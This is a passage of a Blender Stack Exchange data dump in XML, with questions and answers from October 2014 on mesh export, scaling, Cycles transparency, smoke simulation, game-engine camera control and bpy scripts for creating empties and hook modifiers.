way that I can write my own script or rewrite the current sort script to sort the Vertices properly from within Blender, Or am I going to have to write a program to parse through the .obj afterwards to fix this? i.e. ascending X, then ascending Y, like this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;v -10 -10 0&#xA;v -10 -9 0&#xA;v -10 -8 0&#xA;v -10 -7 0&#xA;...&#xA;v -9 -10 0&#xA;v -9 -9 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reason for this being to read the .obj and create a continuous triangle strip for rendering which, in the current format, is impossible without sorting first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have searched many forums and found a few similar cases, but with no answers, at least none that have understood the question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should point out that the mesh is a plane, x &amp;amp; y coords all at integer values, basically a grid. It's a basic floor mesh!&lt;/p&gt;&#xA;" OwnerUserId="7563" LastEditorUserId="7563" LastEditDate="2014-10-19T21:08:22.320" LastActivityDate="2014-10-19T21:08:22.320" Title="Sorting wrong when sorting Vertices and Faces" Tags="&lt;mesh&gt;&lt;export&gt;&lt;vertices&gt;&lt;file-format&gt;" AnswerCount="1" CommentCount="8" ClosedDate="2014-10-19T20:14:48.853" ContentLicense="CC BY-SA 3.0" />
  <row Id="17974" PostTypeId="2" ParentId="17966" CreationDate="2014-10-19T16:03:54.047" Score="14" Body="&lt;p&gt;Inside Blender, 1 Blender Unit equals 1 meter, however, when importing, the software you are using could perceive arbitrary units as being equal to something other than 1 meter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a couple of ways to solve this problem:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;1. Change the Scene's scale factor&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To do so, go to the Properties panel, then under the Scene tab, find the Units subsection and change the Scale field. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UE33D.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When set to 1, 1BU = 1m, but if set to 10, 1BU = 10m; Pretty straight forward.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;2. Change the exporter's scale factor&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To do this, when exporting to &lt;code&gt;.stl&lt;/code&gt;, before hitting &lt;code&gt;Export&lt;/code&gt;, you can change the scale field, located on the bottom left corner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9EvdT.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;3. Scale the object up in Blender&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Hit &lt;kbd&gt;S&lt;/kbd&gt; and the enter your scale factor/ratio, for instance &lt;code&gt;10&lt;/code&gt;, and the object will be 10 times bigger.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;4. Scale the object up in the printing software&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You figure that out.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2014-10-19T16:03:54.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17976" PostTypeId="2" ParentId="17967" CreationDate="2014-10-19T18:46:12.997" Score="3" Body="&lt;p&gt;&lt;strong&gt;Yes&lt;/strong&gt;. &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.72/Game_Development#New_Mouse_Actuator&quot; rel=&quot;nofollow noreferrer&quot;&gt;As of 2.72, there is a new &lt;em&gt;mouse&lt;/em&gt; actuator&lt;/a&gt; which you can use to rotate objects based on mouse movement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try adding these logic bricks to your camera object:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/P5ERi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-10-19T18:46:12.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17977" PostTypeId="2" ParentId="17963" CreationDate="2014-10-19T19:05:01.220" Score="0" Body="&lt;p&gt;Aside from &lt;a href=&quot;https://blender.stackexchange.com/questions/12191/can-you-make-a-custom-mouse-cursor-for-the-game-engine&quot;&gt;this method&lt;/a&gt;, if the &quot;cursor&quot; always stays in the middle of the screen, another way would be to parent an object to the camera (&lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/inezi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2014-10-19T19:05:01.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17978" PostTypeId="1" AcceptedAnswerId="17982" CreationDate="2014-10-19T19:08:06.777" Score="3" ViewCount="1092" Body="&lt;p&gt;I'm working on an animation with Cyscles where I'd like to make a simple face animate between being opaque and completely transparent. How can I do this?&lt;/p&gt;&#xA;" OwnerUserId="7572" LastActivityDate="2014-10-19T21:47:41.563" Title="How can I animate an opaque material to being fully transparent in Cycles?" Tags="&lt;cycles-render-engine&gt;&lt;animation&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17979" PostTypeId="1" AcceptedAnswerId="77355" CreationDate="2014-10-19T19:10:57.743" Score="2" ViewCount="430" Body="&lt;p&gt;i'm having some troubles in a script that use the auto detect features function from the tracking layout. The above script return the error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RuntimeError: Operator bpy.ops.clip.detect_features.poll() failed, context is incorrect&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does someone knows how to force a change context to clip tracking?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import random&#xA;&#xA;scene = bpy.context.scene&#xA;&#xA;bpy.ops.clip.open(directory=&quot;/home/lucasa/Vídeos/&quot;, files=[{&quot;name&quot;:&quot;100_0921.MP4&quot;, &quot;name&quot;:&quot;100_0921.MP4&quot;}], relative_path=True)&#xA;print('video clip imported')&#xA;&#xA;clip = bpy.data.movieclips[0]&#xA;print(&quot;\nMovie Clip %s&quot; % clip.name)&#xA;&#xA;bpy.ops.clip.detect_features()&#xA;print('\nDetect Features')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7569" LastActivityDate="2017-11-18T23:37:09.827" Title="Access auto tracking feature detection with python script" Tags="&lt;python&gt;&lt;scripting&gt;&lt;tracking&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17980" PostTypeId="2" ParentId="17973" CreationDate="2014-10-19T20:01:24.607" Score="0" Body="&lt;p&gt;partly solved!!  (see comments below)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OK then....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just updated Blender from 2.71 to 2.72.... everything works as it should now, weird!!  The vertices and faces are sorted properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Had 2.71 on PC and laptop, still got 2.71 on PC and it doesn't sort the vertices properly, now that I've updated laptop to 2.72 that works fine!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some weird bug that they've fixed?  Either way, I'm good now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you stacker and G.Rassovsky for your responses.&lt;/p&gt;&#xA;" OwnerUserId="7563" LastEditorUserId="7563" LastEditDate="2014-10-19T21:03:23.800" LastActivityDate="2014-10-19T21:03:23.800" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="17981" PostTypeId="1" CreationDate="2014-10-19T21:05:40.313" Score="2" ViewCount="727" Body="&lt;p&gt;I've created a mesh logo which has to be solid for a period of time in an animation. At a certain point in my animation, though, I would like it to dissolve into dust.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is the transition between a solid object and smoke. I got the idea looking at a video that showed objects being destroyed, but that was done with the geometry of the object. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I were to make my object smoke to begin with, it wouldn't look / behave / as it's meant to for the first part of the animation. On the other hand, if I were to break the object as many tutorials show, via a particle system, I don't know that it's possible to achieve the feel of smoke instead of the chunk particles that most tutorials show.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;How can I transform my solid mesh into fine dust (smoke) smoothly half-way through an animation?&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="7572" LastActivityDate="2014-10-19T21:05:40.313" Title="How can I transform my solid mesh into fine dust (smoke) smoothly half-way through an animation?" Tags="&lt;animation&gt;&lt;mesh&gt;&lt;particles&gt;&lt;smoke-simulation&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17982" PostTypeId="2" ParentId="17978" CreationDate="2014-10-19T21:47:41.563" Score="6" Body="&lt;p&gt;You can do something like in the image below. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7bRhP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here I have added a simple glass shader to an object and mixed it with a transparent BSDF. Then I simply animate the factor of the mix shader &#xA;(0.0 - 100% Glass / 0% Transparent ; 1.0 - 0% Glass / 100% Transparent).&lt;/p&gt;&#xA;" OwnerUserId="5341" LastActivityDate="2014-10-19T21:47:41.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17984" PostTypeId="1" AcceptedAnswerId="17990" CreationDate="2014-10-20T00:04:58.220" Score="0" ViewCount="531" Body="&lt;p&gt;I recently asked &lt;a href=&quot;https://blender.stackexchange.com/questions/17981/how-can-i-transform-my-solid-mesh-into-fine-dust-smoke-smoothly-half-way-throu?noredirect=1#comment25364_17981&quot;&gt;this related question&lt;/a&gt; about animating a solid mesh into smoke, and a solution that I might use is to shroud the mesh in smoke heavily whilst the mesh animates to zero opacity, which sounded simple, except there's a problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mesh owns the smoke, and mixing it's material with a transparent shader hides both the mesh and the smoke.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I hide the mesh without hiding the smoke also?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;One solution that I thought of could be to create a duplicate of the mesh to contain the smoke that is set not to show the smoke emitter, and then as I hide the mesh that is shown, the emitter will remain but the smoke will continue. This would work, but it's a work-around (noob-ish) way to handle it.&lt;/p&gt;&#xA;" OwnerUserId="7572" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2014-10-20T09:16:02.537" Title="How can I animate a mesh to be transparent without hiding the smoke that it emits also?" Tags="&lt;animation&gt;&lt;transparency&gt;&lt;smoke-simulation&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17985" PostTypeId="1" CreationDate="2014-10-20T00:41:35.140" Score="6" ViewCount="217" Body="&lt;p&gt;I'm working on a model of an aircraft that will eventually be animated with details like landing gear doors, and am using a Subsurface Modifier. Most everything is going well, however I've run into a problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever I have two separate objects that need to follow the same lines (IE, the landing gear doors), the Subsurface Modifier does NOT apply equally to both objects. If I join the door mesh to the fuselage mesh it's fine, but as soon as I separate the doors from the fuselage it breaks the lines:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qoX8i.png&quot; alt=&quot;Fuselage Line Intact&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/o93jc.png&quot; alt=&quot;Fuselage Line Broken&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously, this is going to be a serious issue. I CAN get around it by applying the Subsurface Modifier FIRST and THEN separate the gear bay doors from the fuselage mesh, however this will then mean working directly with the higher-poly mesh that I'm using the modifier to avoid in the first place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to prevent this from happening when I separate the objects?&lt;/p&gt;&#xA;" OwnerUserId="7576" LastActivityDate="2019-04-19T21:00:55.817" Title="Subsurface Between Two Meshes" Tags="&lt;modifiers&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17987" PostTypeId="1" CreationDate="2014-10-20T03:03:32.030" Score="0" ViewCount="45" Body="&lt;p&gt;Whenever i am painting bump maps, it paints on the color map. I read on one of the other thread and made sure of these five things.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/jCuwl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even though, I have the bump map selected in image editor, when i paint in texture paint mode, it still paints on the color map. What am i doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="7579" LastActivityDate="2014-10-20T03:03:32.030" Title="Texture Painting, problem with bump painting" Tags="&lt;texture-painting&gt;" AnswerCount="0" CommentCount="2" FavoriteCount="1" ClosedDate="2014-10-20T09:52:05.090" ContentLicense="CC BY-SA 3.0" />
  <row Id="17988" PostTypeId="2" ParentId="16186" CreationDate="2014-10-20T05:24:40.950" Score="0" Body="&lt;p&gt;The x file makes sense, it has a 1 to 1 correspondence of vertex to normals. If you use smooth shading, you should fix your rendering code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rendering code:&#xA;1. Upload vertices array , normals array and  UV's array.&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Draw triangles using the vertex indexes provided&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;It's rather simple, look here:&#xA;&lt;a href=&quot;http://www.songho.ca/opengl/gl_vertexarray.html&quot; rel=&quot;nofollow&quot;&gt;http://www.songho.ca/opengl/gl_vertexarray.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7580" LastActivityDate="2014-10-20T05:24:40.950" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17989" PostTypeId="1" CreationDate="2014-10-20T07:11:01.377" Score="3" ViewCount="6028" Body="&lt;p&gt;How can I maintain the flames on the pieces of an object after an explosion? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a &lt;a href=&quot;https://www.youtube.com/watch?v=R2t13YdC3iw&amp;amp;feature=youtu.be&quot; rel=&quot;nofollow&quot;&gt;video of the issue&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7549" LastEditorUserId="599" LastEditDate="2014-10-20T19:49:05.047" LastActivityDate="2019-09-02T15:06:29.853" Title="Objects stop emitting smoke/fire after a short time?" Tags="&lt;animation&gt;&lt;smoke-simulation&gt;" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="17990" PostTypeId="2" ParentId="17984" CreationDate="2014-10-20T09:16:02.537" Score="2" Body="&lt;p&gt;If I understand the question correctly... I think you are on the right track.&#xA;Simply disable the render-ability of the emitter object like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/o7Ir2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then duplicate the emitter object and apply to it the shader which animates from opaque to transparent. (As described in this thread -&gt; &lt;a href=&quot;https://blender.stackexchange.com/questions/17978/how-can-i-animate-an-opaque-material-to-being-fully-transparent-in-cycles&quot;&gt;How can I animate an opaque material to being fully transparent in Cycles?&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="5341" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2014-10-20T09:16:02.537" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17991" PostTypeId="1" AcceptedAnswerId="18053" CreationDate="2014-10-20T12:42:50.897" Score="0" ViewCount="1526" Body="&lt;p&gt;I followed a tutorial in youtube for basic mouse look.I would like to use my mouse to move  the camera around my character.&#xA;[ &lt;a href=&quot;http://www.youtube.com/watch?v=YYlOhtDwElM&quot; rel=&quot;nofollow&quot;&gt;http://www.youtube.com/watch?v=YYlOhtDwElM&lt;/a&gt; ]&#xA;I followed every steps and it just didnt work for me.&#xA;Can you please help me check my file and tell me where the problem lies? &#xA;Here is my file --&gt; [&lt;a href=&quot;http://www.mediafire.com/download/u9q0cashtwmjqzm/test%282%29.blend&quot; rel=&quot;nofollow&quot;&gt;http://www.mediafire.com/download/u9q0cashtwmjqzm/test%282%29.blend&lt;/a&gt; ]&#xA;Tyvm.&lt;/p&gt;&#xA;" OwnerUserId="5638" LastActivityDate="2014-10-21T23:29:49.573" Title="BGE mouse view python script" Tags="&lt;game-engine&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17992" PostTypeId="2" ParentId="17968" CreationDate="2014-10-20T13:11:50.247" Score="3" Body="&lt;p&gt;You have to &lt;strong&gt;toggle out of edit mode&lt;/strong&gt; after deselecting all vertices to solve your issue.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.object.mode_set(mode='OBJECT')          #SWITCH TO OBJECT MODE&#xA;a.select = True                                 #SELECT VERTEX&#xA;bpy.ops.object.mode_set(mode='EDIT')            #SWITCH TO EDIT MODE &#xA;bpy.ops.object.hook_add_newob()&#xA;bpy.ops.mesh.select_all(action='DESELECT')      #DESELECT VERTICES&#xA;bpy.ops.object.editmode_toggle()                &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For better understanding why you have to leave the edit mode &lt;a href=&quot;https://stackoverflow.com/questions/20349361/selected-vertex-did-not-highlight-in-blender-3d/20361756#20361756&quot;&gt;this answer&lt;/a&gt; maybe helps.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Edit:&lt;/em&gt; In terms of better error handling I suggest you to &lt;strong&gt;write a bit more functional&lt;/strong&gt; and split the code in useful pieces. The positive side effect would be that you have &lt;strong&gt;much more control&lt;/strong&gt;, because you also can cache your states. I assume from the code above you want to have following functions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;create empties from all verticies&lt;/strong&gt; of the selected object&lt;/li&gt;&#xA;&lt;li&gt;add and &lt;strong&gt;assign hook modifiers&lt;/strong&gt; for all empties to the selected object&lt;/li&gt;&#xA;&lt;li&gt;create a group or &lt;strong&gt;add empties to a group&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For e.g. this function &lt;code&gt;creates the empties&lt;/code&gt; and returns a list of the new ones:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# -----------------------------------------------------------------------&#xA;# create empties from vertices&#xA;# -----------------------------------------------------------------------&#xA;# parameter: mesh object&#xA;# returns: list of new empty objects&#xA;&#xA;def createEmptiesFromVerts (obj):&#xA;&#xA;    # get object data&#xA;    objMesh = obj.data&#xA;    vertList = [vert for vert in objMesh.vertices]&#xA;&#xA;    # create a list for the new empties&#xA;    emptyList = []&#xA;&#xA;    for i in range(len(vertList)):&#xA;&#xA;        # get local coordinate&#xA;        vertCoordinate = obj.data.vertices[i].co&#xA;        vertCoordinate = obj.matrix_world * vertCoordinate&#xA;&#xA;        # add the empty    &#xA;        bpy.ops.object.add(type='EMPTY', location=vertCoordinate)&#xA;        newEmpty = bpy.context.active_object&#xA;        newEmpty.location = vertCoordinate&#xA;        newEmpty.empty_draw_size = newEmpty.empty_draw_size # / 4&#xA;        bpy.ops.object.select_all(action='TOGGLE')&#xA;        bpy.ops.object.select_all(action='DESELECT')&#xA;&#xA;        # append the new empty to the list&#xA;        emptyList.append(newEmpty)&#xA;&#xA;    # set object to original state&#xA;    bpy.context.scene.objects.active = obj&#xA;    obj.select = True&#xA;&#xA;    # return the new empties  &#xA;    return emptyList&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With this incoming list you can go on with the next function and &lt;code&gt;assign the hook modifiers&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# -----------------------------------------------------------------------&#xA;# create hook modifiers&#xA;# -----------------------------------------------------------------------&#xA;# parameter: mesh object, hook object list&#xA;# returns: assigned hooks list, assigned modifier list&#xA;&#xA;def hooksFromVerts (obj, hookObjs):&#xA;&#xA;    # get object data&#xA;    objMesh = obj.data&#xA;    vertList = [vert for vert in objMesh.vertices]&#xA;&#xA;    # create list to save all assigned hooks&#xA;    assignedHooks = []&#xA;    assignedModifiers = []&#xA;&#xA;    for i in range(len(vertList)):&#xA;&#xA;        bpy.ops.object.mode_set(mode=&quot;EDIT&quot;)&#xA;        bpy.ops.mesh.select_all(action=&quot;DESELECT&quot;)&#xA;        bpy.context.tool_settings.mesh_select_mode = (True , False , False)&#xA;        bpy.ops.object.mode_set(mode=&quot;OBJECT&quot;)&#xA;&#xA;        # get local coordinate of vertex&#xA;        vertCoordinate = obj.data.vertices[i].co&#xA;        vertCoordinate = obj.matrix_world * vertCoordinate&#xA;&#xA;        bpy.context.object.data.vertices[i].select = True&#xA;        bpy.ops.object.mode_set(mode=&quot;EDIT&quot;)&#xA;&#xA;        # assign hook if coords of vert and hook object are equal&#xA;        for n in hookObjs:&#xA;            if vertCoordinate == n.location:&#xA;                #modifierName = &quot;Hook&quot; + str(i+1)&#xA;                modifierName = &quot;Hook_&quot; + n.name&#xA;                obj.modifiers.new(modifierName, type='HOOK')&#xA;                obj.modifiers[modifierName].object = n&#xA;                bpy.ops.object.hook_assign(modifier=modifierName)&#xA;&#xA;                # append the hook objects to the list&#xA;                assignedHooks.append(n)&#xA;&#xA;                # append modifiers&#xA;                assignedModifiers.append(modifierName)&#xA;&#xA;    # set object to original state    &#xA;    bpy.ops.mesh.select_all(action = 'DESELECT')&#xA;    bpy.ops.object.mode_set(mode =&quot;OBJECT&quot;)&#xA;&#xA;    # set object to original state&#xA;    bpy.context.scene.objects.active = obj&#xA;    obj.select = True&#xA;&#xA;    # return assogned hooks objects and modifiers&#xA;    return assignedHooks, assignedModifiers&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As last step you can create a function that creates a group if it not exists and throw your empties in it. To call this is much more easier and for us &lt;code&gt;more readable&lt;/code&gt; at all:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# get the object&#xA;selectedObj = bpy.context.active_object&#xA;&#xA;if selectedObj.type == 'MESH':&#xA;&#xA;    # create empties&#xA;    generatedEmpties = createEmptiesFromVerts(selectedObj)&#xA;&#xA;    # create hooks&#xA;    generatedHooks = hooksFromVerts(selectedObj, generatedEmpties)&#xA;&#xA;    # remove modifiers&#xA;    #removeModifiersByNameList(selectedObj, generatedHooks[1])&#xA;&#xA;    # create or add to group&#xA;    generatedGroup = addObjectsToGroup(&quot;testgroup&quot;, generatedHooks[0])&#xA;&#xA;else:&#xA;    print (&quot;please select a mesh object.&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:20.630" LastActivityDate="2014-11-28T09:53:32.073" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17994" PostTypeId="1" CreationDate="2014-10-20T17:09:36.180" Score="4" ViewCount="4163" Body="&lt;p&gt;I have a pose in 1 file and I'd like to copy that pose to another file. I think this &lt;a href=&quot;http://linetestjournals.blogspot.com/2011/07/copying-poses-with-constraints-in.html&quot; rel=&quot;nofollow&quot;&gt;blog post&lt;/a&gt; is in the right direction but I can't get it to work between 2 blender files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried running 2 Blenders and &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt; the pose then &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;V&lt;/kbd&gt; but it doesn't work.&lt;/p&gt;&#xA;" OwnerUserId="7584" LastEditorUserId="241" LastEditDate="2014-10-20T17:41:49.430" LastActivityDate="2017-03-28T13:02:14.673" Title="How do I copy a pose from one blend file and paste it to another?" Tags="&lt;python&gt;&lt;animation&gt;&lt;scripting&gt;&lt;armature&gt;&lt;bones&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17995" PostTypeId="2" ParentId="5424" CreationDate="2014-10-20T17:49:33.530" Score="3" Body="&lt;p&gt;I had met this problem.   And googled about this matter, but nothing helpful.&#xA;Eventually and suddenly when I applied the &quot;subdivision surface&quot; modifier to the rigid bodies (Remember: not the &quot;armatures&quot;) surprisingly it done.&lt;br&gt;&#xA;So to fix this first keep in mind to be sure to apply any Modifiers relate to the rigid bodies then look after other specifics in the (game logic bricks) if needed some works.&#xA;I added this information to my mind and hope to help others.. Thank you.&lt;/p&gt;&#xA;" OwnerUserId="7585" LastActivityDate="2014-10-20T17:49:33.530" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17996" PostTypeId="1" CreationDate="2014-10-20T18:14:40.617" Score="4" ViewCount="1492" Body="&lt;p&gt;I've made a couple trees/bushes with the Sapling add-on and then distributed them over a landscape with a hair particle system. The original trees have a &quot;swaying in the wind&quot; animation and when they get duplicated through the particle system, although the size and rotation of the trees is randomized, their animation remains fairly homogenous: they all sway in the same directions at the same rate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to randomize this through the particle system, or do I need to make multiple source trees with different animations attached to them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I still want them to look like they are being affected by the same environment/wind but as it is now it's too synchronized. I've already given the different tree types and bushes different wind speeds and amounts of &quot;gust variation&quot; through the sapling generator options, but this doesn't seem to be effective enough.&lt;/p&gt;&#xA;" OwnerUserId="7550" LastEditorUserId="25" LastEditDate="2015-12-14T06:09:51.373" LastActivityDate="2015-12-14T06:09:51.373" Title="How do I randomize the movement of trees made with the sapling generator?" Tags="&lt;cycles-render-engine&gt;&lt;animation&gt;&lt;particles&gt;&lt;sapling-addon&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17997" PostTypeId="1" AcceptedAnswerId="18017" CreationDate="2014-10-20T19:22:01.390" Score="12" ViewCount="1935" Body="&lt;p&gt;I want to animate between perspective and orthographic camera views. How can this be done?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found where people talk about successfully animating between orthographic and perspective camera views in Unity with code, so fundamentally this must be possible. But I don't know Python, so I wouldn't be able to figure it out manually with code in Blender.&lt;/p&gt;&#xA;" OwnerUserId="7572" LastActivityDate="2015-12-23T18:28:24.673" Title="Is it possible, without knowing Python, to animate between orthographic and perspective camera view?" Tags="&lt;animation&gt;&lt;camera&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17998" PostTypeId="2" ParentId="17964" CreationDate="2014-10-20T19:25:02.677" Score="7" Body="&lt;p&gt;One way to do this is by adding an empty at the point which you want the camera to orbit around, and adding a mouse look actuator to it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nDbH8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then parent the camera to it with &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For zooming, you can do something like this on the camera:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wNBFa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AzfNl.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/171/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=171&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-03-14T09:19:16.687" LastActivityDate="2015-04-11T06:12:06.813" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
